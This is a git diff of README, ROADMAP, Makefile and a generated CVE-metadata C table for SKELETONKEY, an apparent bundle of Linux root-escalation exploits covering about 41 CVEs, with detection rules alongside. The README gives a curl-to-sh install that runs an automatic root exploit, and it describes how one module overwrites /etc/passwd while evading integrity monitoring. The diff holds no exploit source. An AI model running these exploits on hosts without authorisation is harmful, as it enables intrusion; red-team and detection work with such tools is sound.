||||
static: clean $(BIN)
|
||||
|
||||
clean:
|
||||
rm -rf $(BUILD) $(BIN) $(TEST_BIN)
|
||||
rm -rf $(BUILD) $(BIN) $(TEST_BIN) $(TEST_KR_BIN)
|
||||
|
||||
help:
|
||||
@echo "Targets:"
|
||||
|
||||
@@ -2,15 +2,19 @@
|
||||
|
||||
[](https://github.com/KaraZajac/SKELETONKEY/releases/latest)
|
||||
[](LICENSE)
|
||||
[](CVES.md)
|
||||
[](docs/VERIFICATIONS.jsonl)
|
||||
[](docs/EXPLOITED.md)
|
||||
[](#)
|
||||
|
||||
> **One curated binary. 28 verified Linux LPE exploits, 2016 → 2026
|
||||
> (+3 ported-but-unverified). Detection rules in the box. One command
|
||||
> picks the safest one and runs it.**
|
||||
> **One curated binary. 46 Linux LPE modules covering 41 CVEs from 2016 → 2026.
|
||||
> Every year 2016 → 2026 covered. 31 of the 41 CVEs confirmed against real Linux
|
||||
> VMs via `tools/verify-vm/` — and **11 modules confirmed landing `uid=0`
|
||||
> out-of-band** (an independent root proof, never self-report). Detection rules
|
||||
> in the box. One command picks the safest one and runs it.**
|
||||
|
||||
```bash
|
||||
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
|
||||
&& export PATH="$HOME/.local/bin:$PATH" \
|
||||
&& skeletonkey --auto --i-know
|
||||
```
|
||||
|
||||
@@ -43,39 +47,78 @@ for every CVE in the bundle — same project for red and blue teams.
|
||||
|
||||
## Corpus at a glance
|
||||
|
||||
**28 verified modules** spanning the 2016 → 2026 LPE timeline, plus
|
||||
**3 ported-but-unverified** modules (`dirtydecrypt`, `fragnesia`,
|
||||
`pack2theroot` — see note below):
|
||||
**46 modules covering 41 distinct CVEs** across the 2016 → 2026 LPE
|
||||
timeline. **31 of the 41 CVEs have been empirically verified** in real
|
||||
Linux VMs via `tools/verify-vm/`; the 10 still-pending entries are
|
||||
blocked by their target environment (legacy hypervisor, EOL kernel, or
|
||||
the t64-transition libc rollout) or are brand-new additions awaiting a
|
||||
VM sweep, not by missing code.
|
||||
|
||||
**Verified end-to-end (uid=0):** beyond confirming each `detect()` verdict,
|
||||
**11 modules have been run to a real root shell in a VM and witnessed
|
||||
out-of-band** — a root-owned artifact, an `/etc/shadow` read, or a setuid-bash
|
||||
sentinel, never the module's own self-report. The full ledger (targets, method,
|
||||
and the four false-`EXPLOIT_OK` bugs this surfaced and fixed) is in
|
||||
[`docs/EXPLOITED.md`](docs/EXPLOITED.md).
|
||||
|
||||
| Tier | Count | What it means |
|
||||
|---|---|---|
|
||||
| 🟢 Full chain | **14** | Lands root (or its canonical capability) end-to-end. No per-kernel offsets needed. |
|
||||
| 🟡 Primitive | **14** | Fires the kernel primitive + grooms the slab + records a witness. Default returns `EXPLOIT_FAIL` honestly. Pass `--full-chain` to engage the shared `modprobe_path` finisher (needs offsets — see [`docs/OFFSETS.md`](docs/OFFSETS.md)). |
|
||||
| ⚪ Ported, unverified | **3** | `dirtydecrypt`, `fragnesia`, `pack2theroot`. Built and registered with **version-pinned `detect()`** (Linux 7.0 / 7.0.9 / PackageKit 1.3.5 respectively), but the **exploit bodies** are not yet validated end-to-end. `--auto` auto-enables `--active` to confirm empirically on top of the version verdict. Excluded from the 28-module verified counts above. |
|
||||
| 🟢 Full chain | **16** | Lands root (or its canonical capability) end-to-end. No per-kernel offsets needed. |
|
||||
| 🟡 Primitive | **13** | Fires the kernel primitive + grooms the slab + records a witness. Default returns `EXPLOIT_FAIL` honestly. Pass `--full-chain` to engage the shared `modprobe_path` finisher (needs offsets — see [`docs/OFFSETS.md`](docs/OFFSETS.md)). |
|
||||
|
||||
**🟢 Modules that land root on a vulnerable host:**
|
||||
copy_fail family ×5 · dirty_pipe · dirty_cow · pwnkit · overlayfs
|
||||
(CVE-2021-3493) · overlayfs_setuid (CVE-2023-0386) ·
|
||||
cgroup_release_agent · ptrace_traceme · sudoedit_editor · entrybleed
|
||||
(KASLR leak primitive)
|
||||
cgroup_release_agent · ptrace_traceme · sudoedit_editor ·
|
||||
sudo_samedit (CVE-2021-3156, Baron Samedit) · entrybleed
|
||||
(KASLR leak primitive) · refluxfs (CVE-2026-64600, `--full-chain`:
|
||||
`/etc/passwd` root pop on a private-extent XFS target)
|
||||
|
||||
**🟡 Modules with opt-in `--full-chain`:**
|
||||
af_packet · af_packet2 · af_unix_gc · cls_route4 · fuse_legacy ·
|
||||
nf_tables · nft_set_uaf · nft_fwd_dup · nft_payload ·
|
||||
netfilter_xtcompat · stackrot · sudo_samedit · sequoia · vmwgfx
|
||||
netfilter_xtcompat · stackrot · sequoia · vmwgfx
|
||||
|
||||
**⚪ Ported-but-unverified (not in the counts above):**
|
||||
dirtydecrypt (CVE-2026-31635) · fragnesia (CVE-2026-46300) ·
|
||||
pack2theroot (CVE-2026-41651) — ported from public PoCs, **exploit
|
||||
bodies not yet VM-validated**. All three have version-pinned `detect()`:
|
||||
`dirtydecrypt` against mainline fix commit `a2567217` in Linux 7.0;
|
||||
`fragnesia` against mainline 7.0.9 (older Debian-stable branches still
|
||||
unfixed); `pack2theroot` against PackageKit fix release 1.3.5
|
||||
(commit `76cfb675`), version read from the daemon over D-Bus.
|
||||
`--auto` auto-enables `--active` to confirm empirically on top.
|
||||
### Empirical verification (31 of 41 CVEs)
|
||||
|
||||
Records in [`docs/VERIFICATIONS.jsonl`](docs/VERIFICATIONS.jsonl) prove
|
||||
each verdict against a known-target VM; **bold** modules were additionally run
|
||||
to a real root shell and witnessed out-of-band (see [`docs/EXPLOITED.md`](docs/EXPLOITED.md)).
|
||||
Coverage:
|
||||
|
||||
| Distro / kernel | Modules verified |
|
||||
|---|---|
|
||||
| Ubuntu 18.04 (4.15.0, sudo 1.8.21p2) | af_packet · **ptrace_traceme** · **sudo_samedit** · **sudo_runas_neg1** |
|
||||
| Ubuntu 20.04 (5.4.0-26 pinned + 5.15 HWE) | af_packet2 · cls_route4 · nft_payload · **overlayfs** · **pwnkit** · sequoia · tioscpgrp |
|
||||
| Ubuntu 22.04 (5.15 stock + mainline 5.15.5 / 6.1.10 / 6.19.7) | af_unix_gc · dirtydecrypt · entrybleed · nf_tables · nft_set_uaf · nft_pipapo · **overlayfs_setuid** · stackrot · **sudoedit_editor** · sudo_chwoot · **sudo_host** |
|
||||
| mainline (dirty_pipe on 5.16.0, dirty_cow on 4.8.0) | **dirty_pipe** · **dirty_cow** |
|
||||
| Debian 11 (5.10 stock) | cgroup_release_agent · fuse_legacy · netfilter_xtcompat · nft_fwd_dup |
|
||||
| Debian 12 (6.1 stock + udisks2 / polkit allow rule) | pack2theroot · udisks_libblockdev |
|
||||
| Rocky Linux 9.8 (5.14.0-687.10.1.el9_8.0.1, stock XFS + `reflink=1`) | **refluxfs** |
|
||||
|
||||
**Not yet verified (10):** `vmwgfx` (VMware-guest-only — no public Vagrant
|
||||
box), `mutagen_astronomy` (mainline 4.14.70 kernel-panics on Ubuntu 18.04
|
||||
rootfs — needs CentOS 6 / Debian 7), `pintheft` & `vsock_uaf` (kernel
|
||||
modules not loaded on common Vagrant boxes), `fragnesia` (mainline 7.0.5
|
||||
kernel .debs depend on the t64-transition libs from Ubuntu 24.04+/Debian
|
||||
13+; no Parallels-supported box has those yet), `ptrace_pidfd` (brand-new
|
||||
2026-05 Qualys disclosure — added this cycle, VM sweep pending),
|
||||
`cifswitch` (detect + `add_key` primitive VM-verified; full chain
|
||||
+ patched-kernel discriminator pending), `nft_catchall` (reconstructed
|
||||
kernel-UAF trigger, not VM-verified), `bad_epoll` (reconstructed epoll
|
||||
race trigger — deliberately under-driven, not VM-verified), `ghostlock`
|
||||
(reconstructed rtmutex/futex-PI stack-UAF trigger — deliberately
|
||||
under-driven, not VM-verified). All ten are
|
||||
flagged in
|
||||
[`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml) with rationale.
|
||||
|
||||
(`dirty_cow` and `sudo_host` were on this list last release; both are now
|
||||
VM-verified — `dirty_cow` run to root on a provisioned mainline 4.8.0 kernel,
|
||||
`sudo_host` on Ubuntu 22.04 with a host-scoped sudoers rule.)
|
||||
|
||||
See [`CVES.md`](CVES.md) for per-module CVE, kernel range, and
|
||||
detection status.
|
||||
detection status. Run `skeletonkey --module-info <name>` for the
|
||||
embedded verification records per module.
|
||||
|
||||
## Quickstart
|
||||
|
||||
@@ -86,6 +129,11 @@ curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/inst
|
||||
# What's this box vulnerable to? (no sudo)
|
||||
skeletonkey --scan
|
||||
|
||||
# One-page operator briefing for a single CVE: CWE / MITRE ATT&CK /
|
||||
# CISA KEV status, live detect() trace, OPSEC footprint, detection
|
||||
# coverage. Useful for triage tickets and SOC analyst handoffs.
|
||||
skeletonkey --explain nf_tables
|
||||
|
||||
# Pick the safest LPE and run it
|
||||
skeletonkey --auto --i-know
|
||||
|
||||
@@ -112,7 +160,7 @@ uid=1000(kara) gid=1000(kara) groups=1000(kara)
|
||||
$ skeletonkey --auto --i-know
|
||||
[*] auto: host=demo distro=ubuntu/24.04 kernel=5.15.0-56-generic arch=x86_64
|
||||
[*] auto: active probes enabled — brief /tmp file touches and fork-isolated namespace probes
|
||||
[*] auto: scanning 31 modules for vulnerabilities...
|
||||
[*] auto: scanning 45 modules for vulnerabilities...
|
||||
[+] auto: dirty_pipe VULNERABLE (safety rank 90)
|
||||
[+] auto: cgroup_release_agent VULNERABLE (safety rank 98)
|
||||
[+] auto: pwnkit VULNERABLE (safety rank 100)
|
||||
@@ -181,29 +229,107 @@ also compile (modules with Linux-only headers stub out gracefully).
|
||||
|
||||
## Status
|
||||
|
||||
**v0.6.0 cut 2026-05-23.** 28 verified modules, plus 3
|
||||
ported-but-unverified (`dirtydecrypt`, `fragnesia`, `pack2theroot`).
|
||||
All 31 build clean on Debian 13 (kernel 6.12) and refuse cleanly on
|
||||
patched hosts.
|
||||
**v0.10.0 cut 2026-07-24 — the exploit-verification release.** The corpus
|
||||
moved from *detect*-verified to **out-of-band exploit-verified**: **11 modules
|
||||
now confirmed landing `uid=0` in a VM**, each witnessed independently (a
|
||||
root-owned artifact / `/etc/shadow` read / setuid-bash sentinel) rather than
|
||||
self-reported. Along the way, **four modules that falsely reported `EXPLOIT_OK`
|
||||
without ever getting root were fixed** (`pwnkit`, `ptrace_traceme`, `dirty_pipe`,
|
||||
`dirty_cow`), and a full false-`EXPLOIT_OK` audit was closed — every success
|
||||
claim is now backed by a real out-of-band check. See `docs/EXPLOITED.md`.
|
||||
46 modules across 41 CVEs — **every year 2016 → 2026 now covered**. Newest
|
||||
module: `refluxfs` (CVE-2026-64600,
|
||||
Qualys TRU's "RefluXFS" — a nine-year TOCTOU race in the XFS **reflink
|
||||
copy-on-write** path: `xfs_reflink_fill_cow_hole()` drops `ILOCK` to wait
|
||||
for transaction log space, then re-checks the refcount btree at a
|
||||
**stale** physical block without re-reading the data fork, so a
|
||||
direct-I/O writer treats a still-shared block as private and writes to it
|
||||
in place. The primitive is an arbitrary overwrite of the **on-disk
|
||||
contents of any readable file** — data, not memory corruption — so there
|
||||
are **no offsets, no ROP, no KASLR/SMEP/SMAP** to defeat, and SELinux
|
||||
enforcing, containers and seccomp are all irrelevant. Because the
|
||||
victim's inode is never written, its `mtime`/`ctime`/size never change
|
||||
and **file-integrity monitoring cannot see it**. Unprivileged, no userns,
|
||||
no crafted image — reachable wherever an XFS volume is mounted
|
||||
`reflink=1`, the installer default on RHEL/CentOS/Rocky/Alma/Oracle 8-10,
|
||||
Fedora Server ≥ 31 and Amazon Linux 2023. **🟢 VM-verified full chain**:
|
||||
`--exploit refluxfs --i-know --full-chain` reflink-clones `/etc/passwd`,
|
||||
races the CoW window, strips root's password on-disk and returns
|
||||
`EXPLOIT_OK` (`su root`, empty password → uid 0) — confirmed on Rocky 9.8,
|
||||
every other account preserved, backed up + restorable. One caveat found
|
||||
in testing: the target's extent must be **private** going in (an
|
||||
already-shared file isn't attackable; normal `useradd`/`passwd` churn
|
||||
makes it private). Plain `--exploit` runs only a safe own-files trigger),
|
||||
`ghostlock` (CVE-2026-43499,
|
||||
VEGA / Nebula Security's "GhostLock" — a ~15-year rtmutex/futex requeue-PI
|
||||
use-after-free on **kernel stack** memory where `remove_waiter()` clears
|
||||
`pi_blocked_on` on the wrong task during the `-EDEADLK` deadlock-rollback,
|
||||
raced by a sibling-CPU `sched_setattr()` priority walk; reachable by **any
|
||||
unprivileged user with no user namespace**; VEGA / Nebula kernelCTF public
|
||||
PoC ($92k, ~97% stable) — shipped as a deliberately under-driven,
|
||||
reconstructed trigger anchored on a safe `-EDEADLK` reachability witness
|
||||
with the corpus's lowest `--auto` safety rank), `bad_epoll` (CVE-2026-46242,
|
||||
Jaeyoung Chung's "Bad Epoll" — a race UAF in `fs/eventpoll.c` reachable by
|
||||
any unprivileged user with no user namespace; kernelCTF public PoC),
|
||||
`nft_catchall` (CVE-2026-23111, the nf_tables `nft_map_catchall_activate`
|
||||
abort-path UAF — an inverted condition frees a chain still referenced by a
|
||||
catch-all GOTO map element; public reproduction by FuzzingLabs), and
|
||||
`cifswitch` (CVE-2026-46243, Asim Manizada's "CIFSwitch" — the
|
||||
`cifs.spnego` key type trusts userspace-forged authority fields, coercing
|
||||
the root `cifs.upcall` helper into loading an attacker NSS module as root).
|
||||
v0.9.0 added 5 gap-fillers
|
||||
(`mutagen_astronomy` / `sudo_runas_neg1` / `tioscpgrp` / `vsock_uaf` /
|
||||
`nft_pipapo`); v0.8.0 added 3 (`sudo_chwoot` / `udisks_libblockdev` /
|
||||
`pintheft`). v0.9.1 and v0.9.2 are verification-only sweeps that took
|
||||
the verified count from 22 → 28 by booting real vulnerable kernels
|
||||
(Ubuntu mainline 5.4.0-26, 5.15.5, 6.19.7 + provisioner-built sudo
|
||||
1.9.16p1 + Debian 12 + polkit allow rule for udisks).
|
||||
**v0.10.0 is the exploit-verification release**: **31 empirically verified**
|
||||
against real Linux VMs (Ubuntu 18.04 / 20.04 / 22.04 + Debian 11 / 12 + Rocky
|
||||
Linux 9.8 + mainline kernels from kernel.ubuntu.com), and **11 modules run to a
|
||||
real root shell and witnessed out-of-band** — which also surfaced and fixed
|
||||
four modules that had been falsely reporting `EXPLOIT_OK` without ever getting
|
||||
root (see [`docs/EXPLOITED.md`](docs/EXPLOITED.md)). 148-test unit harness +
|
||||
ASan/UBSan + clang-tidy on every push. 4 prebuilt binaries (x86_64 + arm64,
|
||||
each in dynamic + static-musl flavors).
|
||||
|
||||
Reliability + accuracy work in v0.6.0:
|
||||
Reliability + accuracy work in v0.7.x:
|
||||
- Shared **host fingerprint** (`core/host.{h,c}`) populated once at
|
||||
startup — kernel/distro/userns gates/sudo+polkit versions — exposed
|
||||
to every module via `ctx->host`. 26 of 27 distinct modules consume it.
|
||||
- **Test harness** (`tests/test_detect.c`, `make test`) — 44 unit
|
||||
tests over mocked host fingerprints; runs as a non-root user in CI.
|
||||
- `--auto` upgrades: auto-enables `--active`, per-detect 15s timeout,
|
||||
fork-isolated detect + exploit so a crashing module can't tear down
|
||||
the dispatcher, structured per-module verdict table, scan summary.
|
||||
- `--dry-run` flag (preview without firing; no `--i-know` needed).
|
||||
- Pinned mainline fix commits for the 3 ported modules — `detect()`
|
||||
is version-pinned, not just precondition-only.
|
||||
to every module via `ctx->host`.
|
||||
- **Test harness** (`tests/`, `make test`) — 148 tests: 33 kernel_range
|
||||
unit tests + 115 detect() integration tests over mocked host
|
||||
fingerprints. Runs in CI on every push.
|
||||
- **VM verifier** (`tools/verify-vm/`) — Vagrant + Parallels scaffold
|
||||
that boots known-vulnerable kernels (stock distro + mainline via
|
||||
kernel.ubuntu.com), runs `--explain --active` per module, records
|
||||
match/MISMATCH/PRECOND_FAIL as JSON. 31 of 41 CVEs confirmed; **11
|
||||
modules additionally run to a real root shell and witnessed out-of-band**
|
||||
(`docs/EXPLOITED.md`).
|
||||
- **`--explain <module>`** — single-page operator briefing: CVE / CWE
|
||||
/ MITRE ATT&CK / CISA KEV status, host fingerprint, live detect()
|
||||
trace, OPSEC footprint, detection-rule coverage, verified-on
|
||||
records. Paste-into-ticket ready.
|
||||
- **CVE metadata pipeline** (`tools/refresh-cve-metadata.py`) — fetches
|
||||
CISA KEV catalog + NVD CWE; 13 of 41 modules cover KEV-listed CVEs.
|
||||
- **151 detection rules** across auditd / sigma / yara / falco; one
|
||||
command exports the corpus to your SIEM.
|
||||
- `--auto` upgrades: per-detect 15s timeout, fork-isolated detect +
|
||||
exploit, structured verdict table, scan summary, `--dry-run`.
|
||||
|
||||
Empirical end-to-end validation on a vulnerable-target VM matrix is
|
||||
the next roadmap item; until then, the corpus is best understood as
|
||||
"compiles + detects + structurally correct + honest on failure" —
|
||||
and the three ported modules have not been run against a vulnerable
|
||||
target at all.
|
||||
Not yet verified (10 of 41 CVEs): `vmwgfx` (VMware-guest only),
|
||||
`mutagen_astronomy` (mainline 4.14.70 panics on Ubuntu 18.04 rootfs —
|
||||
needs CentOS 6 / Debian 7), `pintheft` + `vsock_uaf` (kernel modules not
|
||||
autoloaded on common Vagrant boxes), `fragnesia` (mainline 7.0.5 .debs
|
||||
need t64-transition libs from Ubuntu 24.04+ / Debian 13+), `ptrace_pidfd`
|
||||
+ `cifswitch` (cifswitch detect + primitive VM-verified; full chain
|
||||
pending) + `nft_catchall` (reconstructed kernel-UAF trigger, not
|
||||
VM-verified) + `bad_epoll` (reconstructed epoll race trigger,
|
||||
deliberately under-driven, not VM-verified) + `ghostlock` (reconstructed
|
||||
rtmutex/futex-PI stack-UAF trigger, deliberately under-driven, not
|
||||
VM-verified). Rationale in
|
||||
[`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml).
|
||||
(`dirty_cow` and `sudo_host` graduated to VM-verified this release.)
|
||||
|
||||
See [`ROADMAP.md`](ROADMAP.md) for the next planned modules and
|
||||
infrastructure work.
|
||||
@@ -214,6 +340,18 @@ PRs welcome for: kernel offsets (run `--dump-offsets` on a target
|
||||
kernel, paste into `core/offsets.c`), new modules, detection rules,
|
||||
and CVE-status corrections. See [`CONTRIBUTING.md`](CONTRIBUTING.md).
|
||||
|
||||
**Keeping `kernel_range` tables current.** `tools/refresh-kernel-ranges.py`
|
||||
polls Debian's security tracker and reports drift between each
|
||||
module's hardcoded `kernel_patched_from` thresholds and the
|
||||
fixed-versions Debian actually ships. Run periodically (or in CI)
|
||||
to catch new backports that need to land in the corpus:
|
||||
|
||||
```bash
|
||||
tools/refresh-kernel-ranges.py # human report
|
||||
tools/refresh-kernel-ranges.py --json # machine-readable
|
||||
tools/refresh-kernel-ranges.py --patch # proposed C-source edits
|
||||
```
|
||||
|
||||
## Acknowledgments
|
||||
|
||||
Each module credits the original CVE reporter and PoC author in its
|
||||
|
||||
+77
@@ -272,6 +272,83 @@ The 2 ported-but-unverified modules (`dirtydecrypt`, `fragnesia`) are
|
||||
and pinned fix commits first (tracked under Phase 7+ above) before any
|
||||
full-chain work is meaningful.
|
||||
|
||||
## Phase 9 — Empirical verification + operator briefing (DONE 2026-05-23, v0.7.1)
|
||||
|
||||
The largest single jump in trust signal: every claim in the corpus is
|
||||
now backed by either a unit test (88-test harness) or a real-VM
|
||||
verification record (22 of 26 CVEs), and the binary surfaces both.
|
||||
|
||||
- [x] **`tools/verify-vm/`** — Vagrant + Parallels scaffold. Boots
|
||||
known-vulnerable kernels (stock distro + mainline via
|
||||
`kernel.ubuntu.com/mainline/`), runs `--explain --active` per
|
||||
module, emits JSONL verification records.
|
||||
- [x] **Mainline kernel fetch** — `targets.yaml` `mainline_version`
|
||||
field downloads vanilla mainline .debs from
|
||||
`kernel.ubuntu.com/mainline/v<X.Y.Z>/amd64/`, dpkg-installs,
|
||||
`update-grub`s, reboots. Unblocks pin-not-in-apt targets.
|
||||
- [x] **22 of 26 CVEs verified** across Ubuntu 18.04 / 20.04 / 22.04 +
|
||||
Debian 11 / 12 + mainline 5.15.5 / 6.1.10. Records in
|
||||
`docs/VERIFICATIONS.jsonl`, baked into `core/verifications.{c,h}`,
|
||||
surfaced in `--list` (VFY column), `--module-info`, `--explain`,
|
||||
`--scan --json`.
|
||||
- [x] **`--explain MODULE`** — one-page operator briefing. CVE / CWE /
|
||||
MITRE ATT&CK / CISA KEV header, host fingerprint, live `detect()`
|
||||
trace with verdict + interpretation, OPSEC footprint, detection-
|
||||
rule coverage, verified-on records. Paste-into-ticket ready.
|
||||
- [x] **Per-module `opsec_notes`** — every module struct ships a
|
||||
runtime-footprint paragraph (file artifacts, dmesg, syscall
|
||||
observables, network, persistence, cleanup). The inverse of the
|
||||
detection rules.
|
||||
- [x] **CVE metadata pipeline** — `tools/refresh-cve-metadata.py`
|
||||
fetches CISA KEV + NVD CWE; 10 of 26 modules cover KEV-listed
|
||||
CVEs. Hand-curated ATT&CK mapping (T1068 / T1611 / T1082).
|
||||
Surfaced everywhere (`★` markers, `triage` JSON sub-object).
|
||||
- [x] **119 detection rules across all 4 SIEM formats** — auditd
|
||||
30/31, sigma 31/31, yara 28/31, falco 30/31. Documented
|
||||
intentional skips for the 3 modules without applicable rules
|
||||
in each format (entrybleed: pure timing side-channel;
|
||||
ptrace_traceme + sudo_samedit: pure-memory races, no on-disk
|
||||
artifacts).
|
||||
- [x] **88-test unit harness** — 33 kernel_range / host-fingerprint
|
||||
boundary tests + 55 detect() integration tests. ASan + UBSan
|
||||
+ clang-tidy on every push; weekly cron checks for CISA KEV
|
||||
+ Debian security-tracker drift.
|
||||
- [x] **arm64-static binary** — `skeletonkey-arm64-static` published
|
||||
alongside x86_64-static. Built via `dockcross/linux-arm64-musl`
|
||||
cross toolchain. `install.sh` auto-picks on aarch64 hosts.
|
||||
- [x] **`arch_support` field** per module: `any` (4 — userspace
|
||||
bugs), `x86_64` (1 — entrybleed by physics),
|
||||
`x86_64+unverified-arm64` (26 — kernel modules whose arm64
|
||||
exploit hasn't been empirically confirmed). Honest labels until
|
||||
an arm64 verification sweep promotes them.
|
||||
- [x] **Marketing-grade landing page** — animated hero with
|
||||
`--explain` showcase, bento-grid features, KEV / verification
|
||||
stat chips, open-graph card. karazajac.github.io/SKELETONKEY.
|
||||
|
||||
**Open follow-ups from v0.7.x (not yet started):**
|
||||
|
||||
- [ ] arm64 verification sweep — Vagrant arm64 box (e.g.
|
||||
`generic/debian12-arm64` on M-series Mac via Parallels) → run
|
||||
`verify.sh` against the 26 `x86_64+unverified-arm64` modules,
|
||||
promote each to `any` where it works.
|
||||
- [ ] SIEM query templates — full Splunk SPL / Elastic KQL / Sentinel
|
||||
KQL queries per top-10 KEV-listed modules, embedded in
|
||||
`docs/DETECTION_PLAYBOOK.md`.
|
||||
- [ ] `install.sh` CI smoke test — boot fresh Ubuntu / Debian /
|
||||
Alpine containers, run `curl ... | sh`, assert `--version`.
|
||||
- [ ] PackageKit provisioner for pack2theroot VULNERABLE-path
|
||||
verification on Debian 12.
|
||||
- [ ] Custom ≤ 4.4 kernel image for dirty_cow VM verification.
|
||||
- [ ] 9 deferred TOO_TIGHT kernel-range drift findings — per-commit
|
||||
verification against git.kernel.org/linus.
|
||||
|
||||
**Wait-for-upstream blockers (out of our control):**
|
||||
|
||||
- vmwgfx verification — requires a VMware-Fusion-or-Workstation
|
||||
guest exposing `/dev/dri/card*` from the vmwgfx driver.
|
||||
- dirtydecrypt + fragnesia verification — both target Linux 7.0+,
|
||||
which isn't shipping as any distro kernel yet.
|
||||
|
||||
## Non-goals
|
||||
|
||||
- **No 0-day shipment.** Everything in SKELETONKEY is post-patch.
|
||||
|
||||
@@ -0,0 +1,361 @@
|
||||
/*
|
||||
* SKELETONKEY — CVE metadata table
|
||||
*
|
||||
* AUTO-GENERATED by tools/refresh-cve-metadata.py from
|
||||
* docs/CVE_METADATA.json. Do not hand-edit; rerun the script.
|
||||
* Sources: CISA KEV catalog + NVD CVE API 2.0.
|
||||
*/
|
||||
|
||||
#include "cve_metadata.h"
|
||||
|
||||
#include <stddef.h>
|
||||
#include <string.h>
|
||||
|
||||
const struct cve_metadata cve_metadata_table[] = {
|
||||
{
|
||||
.cve = "CVE-2016-5195",
|
||||
.cwe = "CWE-362",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2022-03-03",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2017-7308",
|
||||
.cwe = "CWE-681",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2018-14634",
|
||||
.cwe = "CWE-190",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2026-01-26",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2019-13272",
|
||||
.cwe = NULL,
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2021-12-10",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2019-14287",
|
||||
.cwe = "CWE-755",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2020-14386",
|
||||
.cwe = "CWE-250",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2020-29661",
|
||||
.cwe = "CWE-416",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2021-22555",
|
||||
.cwe = "CWE-787",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2025-10-06",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2021-3156",
|
||||
.cwe = "CWE-193",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2022-04-06",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2021-33909",
|
||||
.cwe = "CWE-190",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2021-3493",
|
||||
.cwe = "CWE-270",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2022-10-20",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2021-4034",
|
||||
.cwe = "CWE-787",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2022-06-27",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2022-0185",
|
||||
.cwe = "CWE-190",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2024-08-21",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2022-0492",
|
||||
.cwe = "CWE-287",
|
||||
.attack_technique = "T1611",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2026-06-02",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2022-0847",
|
||||
.cwe = "CWE-665",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2022-04-25",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2022-25636",
|
||||
.cwe = "CWE-269",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2022-2588",
|
||||
.cwe = "CWE-416",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2023-0179",
|
||||
.cwe = "CWE-190",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2023-0386",
|
||||
.cwe = "CWE-282",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2025-06-17",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2023-0458",
|
||||
.cwe = "CWE-476",
|
||||
.attack_technique = "T1082",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2023-2008",
|
||||
.cwe = "CWE-129",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2023-22809",
|
||||
.cwe = "CWE-269",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2023-32233",
|
||||
.cwe = "CWE-416",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
